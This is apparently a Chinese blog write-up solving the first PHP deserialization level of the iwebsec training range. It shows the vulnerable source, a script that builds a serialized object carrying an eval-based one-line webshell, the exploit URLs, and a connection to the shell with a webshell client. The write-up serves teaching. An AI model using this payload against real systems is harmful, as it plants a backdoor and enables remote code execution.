iwebsec靶场 反序列化关卡通关笔记1

iwebsec靶场反序列漏洞通关笔记。

第一关

详细的源码为

<?php
  require_once('../../header.php');
  ?>
<html>
    <head>
        <title>反序列化漏洞</title>
    </head>
    <h2>反序列化漏洞</h2>
        <div class="alert alert-success">
            <p>/index.php?re=hello </p>
        </div>
    <body>
<?php
    highlight_file(__FILE__);
    class a {
        var $test = 'hello';
        function __destruct(){
            $fp = fopen("/var/www/html/vuln/unserialize/01/hello.php","w");
            fputs($fp,$this->test);
            fclose($fp);
        }
    }
    $class = stripslashes($_GET['re']);
    $class_unser = unserialize($class);
    require '/var/www/html/vuln/unserialize/01/hello.php';
    require_once '../../footer.php';
?>

 存在反序列漏洞的原因:
1、unserialize函数的参数$class可控, $class可以通过url的get参数re获取到
2、存在__destruct函数可以将$test的值写入hello.php文件中,所以可以利用该函数将PHP代码传入hello.php文件中

基于此由于test值可以写入hello.php,那么我们想向hello.php中写入一句话木马内容,<?php @eval($_POST[cmd])?> 木马的连接参数为cmd,这样构建php脚本来生成php序列化值

<?php
  class a{
      var $test = '<?php @eval($_POST[cmd])?>';
}
$a = new a();
$class_ser = serialize($a);
print_r($class_ser);
?>

如上所示 执行后生成结果为

 

那么我们就可以构造参数

O:1:"a":1:{s:4:"test";s:26:"<?php @eval($_POST[cmd])?>";}

http://192.168.71.138/unserialize/01/index.php?re=O:1:"a":1:{s:4:"test";s:26:"<?php @eval($_POST[cmd])?>";}

http://192.168.71.138/unserialize/01/index.php?re=O:1:%22a%22:1:{s:4:%22test%22;s:26:%22%3C?php%20@eval($_POST[cmd])?%3E%22;}

 

点击此url既可以生成一句话木马文件,并写入到 /var/www/html/vuln/unserialize/01/hello.php文件中。不过这里要注意在docker容器中并不存在 /var/www/html/vuln/unserialize/01/hello.php文件,真实的路径为 /var/www/html/unserialize/01/hello.php 故而需要将源码中hello.php修改为正确的路径,如下所示:

<?php
  require_once('../../header.php');
  ?>
<html>
	<head>
		<title>反序列化漏洞</title>
	</head>
	<h2>反序列化漏洞</h2>
		<div class="alert alert-success">
			<p>/index.php?re=hello </p>
		</div>
	<body>
<?php
	highlight_file(__FILE__);
	class a {
    	var $test = 'hello';
    	function __destruct(){
        	$fp = fopen("/var/www/html/unserialize/01/hello.php","w");
        	fputs($fp,$this->test);
        	fclose($fp);
    	}
	}
	$class = stripslashes($_GET['re']);
	$class_unser = unserialize($class);
	require '/var/www/html/unserialize/01/hello.php';
	require_once '../../footer.php';
?>

注意这里源码中hello.php的路径要写为正确的绝对路径,不可以是相对路径。如下所示生成的木马脚本如下所示:

[root@bc23a49cb37c 01]# cat hello.php
<?php @eval($_POST[cmd])?>

将链接加入到蚁剑

url地址为

http://192.168.71.138/unserialize/01/hello.php

密码为cmd

如下所示

 文件管理查看,连接成功

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值